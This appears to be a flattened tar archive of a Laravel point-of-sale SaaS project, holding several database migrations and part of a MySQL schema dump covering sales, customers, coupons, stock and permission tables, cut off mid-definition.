Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('units', function (Blueprint $table) { $table->bigInteger('base_unit')->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('units', function (Blueprint $table) { // }); } }; migrations/2022_03_08_051830_create_sales_table.php 0000644 00000003026 15213354167 0015340 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sales', function (Blueprint $table) { $table->id(); $table->date('date'); $table->unsignedBigInteger('customer_id'); $table->foreign('customer_id')->references('id') ->on('customers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->double('received_amount')->nullable(); $table->double('paid_amount')->nullable(); $table->integer('payment_type')->nullable(); $table->text('note')->nullable(); $table->string('reference_code')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sales'); } }; migrations/2022_03_10_101744_create_settings_table.php 0000644 00000001471 15213354167 0016064 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('settings', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('key'); $table->text('value'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('settings'); } }; pos-saas.sql 0000644 00001053775 15213354167 0007044 0 ustar 00 -- ------------------------------------------------------------- -- TablePlus 6.6.8(632) -- -- https://tableplus.com/ -- -- Database: pos_production -- Generation Time: 2025-09-09 16:02:53.5480 -- ------------------------------------------------------------- /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; DROP TABLE IF EXISTS `adjustment_items`; CREATE TABLE `adjustment_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `adjustment_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `quantity` double DEFAULT NULL, `method_type` int NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `adjustment_items_adjustment_id_foreign` (`adjustment_id`), KEY `adjustment_items_product_id_foreign` (`product_id`), CONSTRAINT `adjustment_items_adjustment_id_foreign` FOREIGN KEY (`adjustment_id`) REFERENCES `adjustments` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `adjustment_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `adjustments`; CREATE TABLE `adjustments` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `date` date NOT NULL, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `warehouse_id` bigint unsigned NOT NULL, `total_products` int DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `adjustments_warehouse_id_foreign` (`warehouse_id`), KEY `adjustments_tenant_id_foreign` (`tenant_id`), CONSTRAINT `adjustments_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `adjustments_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `base_units`; CREATE TABLE `base_units` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `is_default` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `base_units_tenant_id_foreign` (`tenant_id`), CONSTRAINT `base_units_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `brands`; CREATE TABLE `brands` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `brands_tenant_id_foreign` (`tenant_id`), CONSTRAINT `brands_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `business_information`; CREATE TABLE `business_information` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `contact_us`; CREATE TABLE `contact_us` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `subject` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `message` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `countries`; CREATE TABLE `countries` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `name` varchar(170) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `short_code` varchar(170) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `phone_code` int DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `countries_name_unique` (`name`), UNIQUE KEY `countries_short_code_unique` (`short_code`) ) ENGINE=InnoDB AUTO_INCREMENT=247 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `coupon_codes`; CREATE TABLE `coupon_codes` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `start_date` date NOT NULL, `end_date` date NOT NULL, `how_many_time_can_use` int NOT NULL, `discount_type` int NOT NULL, `discount` double NOT NULL, `how_many_time_used` int NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `coupon_codes_code_unique` (`code`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `coupon_product`; CREATE TABLE `coupon_product` ( `coupon_code_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, KEY `coupon_product_coupon_code_id_foreign` (`coupon_code_id`), KEY `coupon_product_product_id_foreign` (`product_id`), CONSTRAINT `coupon_product_coupon_code_id_foreign` FOREIGN KEY (`coupon_code_id`) REFERENCES `coupon_codes` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `coupon_product_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `currencies`; CREATE TABLE `currencies` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `currencies_name_unique` (`name`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `customers`; CREATE TABLE `customers` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `phone` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `dob` date DEFAULT NULL, `country` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `city` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `address` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `customers_tenant_id_foreign` (`tenant_id`), CONSTRAINT `customers_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `domains`; CREATE TABLE `domains` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `domain` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `domains_domain_unique` (`domain`), KEY `domains_tenant_id_foreign` (`tenant_id`), CONSTRAINT `domains_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `expense_categories`; CREATE TABLE `expense_categories` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `expense_categories_tenant_id_foreign` (`tenant_id`), CONSTRAINT `expense_categories_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `expenses`; CREATE TABLE `expenses` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `date` date NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `expense_category_id` bigint unsigned NOT NULL, `amount` double NOT NULL, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `details` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `user_id` bigint unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, PRIMARY KEY (`id`), KEY `expenses_warehouse_id_foreign` (`warehouse_id`), KEY `expenses_expense_category_id_foreign` (`expense_category_id`), KEY `expenses_user_id_foreign` (`user_id`), CONSTRAINT `expenses_expense_category_id_foreign` FOREIGN KEY (`expense_category_id`) REFERENCES `expense_categories` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `expenses_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `expenses_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `failed_jobs`; CREATE TABLE `failed_jobs` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `uuid` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `connection` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `queue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `payload` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `exception` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `failed_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`id`), UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `faqs`; CREATE TABLE `faqs` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `features`; CREATE TABLE `features` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `points` json DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `hold_items`; CREATE TABLE `hold_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `hold_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned DEFAULT NULL, `product_price` double DEFAULT NULL, `net_unit_price` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `sale_unit` int NOT NULL, `quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `hold_items_hold_id_foreign` (`hold_id`), KEY `hold_items_product_id_foreign` (`product_id`), CONSTRAINT `hold_items_hold_id_foreign` FOREIGN KEY (`hold_id`) REFERENCES `holds` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `hold_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `holds`; CREATE TABLE `holds` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `date` date NOT NULL, `customer_id` bigint unsigned NOT NULL, `warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `discount_type` int NOT NULL DEFAULT '2', `discount_value` int NOT NULL DEFAULT '0', `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `received_amount` double DEFAULT NULL, `paid_amount` double DEFAULT NULL, `status` int DEFAULT NULL, `note` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `holds_customer_id_foreign` (`customer_id`), KEY `holds_warehouse_id_foreign` (`warehouse_id`), CONSTRAINT `holds_customer_id_foreign` FOREIGN KEY (`customer_id`) REFERENCES `customers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `holds_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `languages`; CREATE TABLE `languages` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `iso_code` varchar(191) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `is_default` tinyint(1) NOT NULL DEFAULT '0', `status` tinyint(1) NOT NULL DEFAULT '1', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `languages_iso_code_unique` (`iso_code`) ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `mail_templates`; CREATE TABLE `mail_templates` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `template_name` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `status` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `mail_templates_tenant_id_foreign` (`tenant_id`), CONSTRAINT `mail_templates_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `main_products`; CREATE TABLE `main_products` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `product_unit` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `product_type` tinyint NOT NULL COMMENT '1=Single, 2=Variable', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `main_products_tenant_id_foreign` (`tenant_id`), CONSTRAINT `main_products_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `manage_stocks`; CREATE TABLE `manage_stocks` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `warehouse_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `quantity` double NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `alert` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `manage_stocks_warehouse_id_foreign` (`warehouse_id`), KEY `manage_stocks_product_id_foreign` (`product_id`), CONSTRAINT `manage_stocks_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `manage_stocks_warehouse_id_foreign` FOREIGN KEY (`warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `media`; CREATE TABLE `media` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `model_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `model_id` bigint unsigned NOT NULL, `uuid` char(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `collection_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `file_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `mime_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `disk` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `conversions_disk` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` bigint unsigned NOT NULL, `manipulations` json NOT NULL, `custom_properties` json NOT NULL, `generated_conversions` json NOT NULL, `responsive_images` json NOT NULL, `order_column` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `media_uuid_unique` (`uuid`), KEY `media_model_type_model_id_index` (`model_type`,`model_id`), KEY `media_order_column_index` (`order_column`) ) ENGINE=InnoDB AUTO_INCREMENT=27 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `migrations`; CREATE TABLE `migrations` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `migration` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `batch` int NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=126 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `model_has_permissions`; CREATE TABLE `model_has_permissions` ( `permission_id` bigint unsigned NOT NULL, `model_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `model_id` bigint unsigned NOT NULL, PRIMARY KEY (`permission_id`,`model_id`,`model_type`), KEY `model_has_permissions_model_id_model_type_index` (`model_id`,`model_type`), CONSTRAINT `model_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `model_has_roles`; CREATE TABLE `model_has_roles` ( `role_id` bigint unsigned NOT NULL, `model_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `model_id` bigint unsigned NOT NULL, PRIMARY KEY (`role_id`,`model_id`,`model_type`), KEY `model_has_roles_model_id_model_type_index` (`model_id`,`model_type`), CONSTRAINT `model_has_roles_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `partners`; CREATE TABLE `partners` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `password_reset_tokens`; CREATE TABLE `password_reset_tokens` ( `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `token` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, KEY `password_resets_email_index` (`email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `payment_methods`; CREATE TABLE `payment_methods` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `status` tinyint(1) NOT NULL DEFAULT '1', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `payment_methods_tenant_id_foreign` (`tenant_id`), CONSTRAINT `payment_methods_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `permissions`; CREATE TABLE `permissions` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `display_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `guard_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'web', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=112 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `personal_access_tokens`; CREATE TABLE `personal_access_tokens` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tokenable_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `tokenable_id` bigint unsigned NOT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `token` 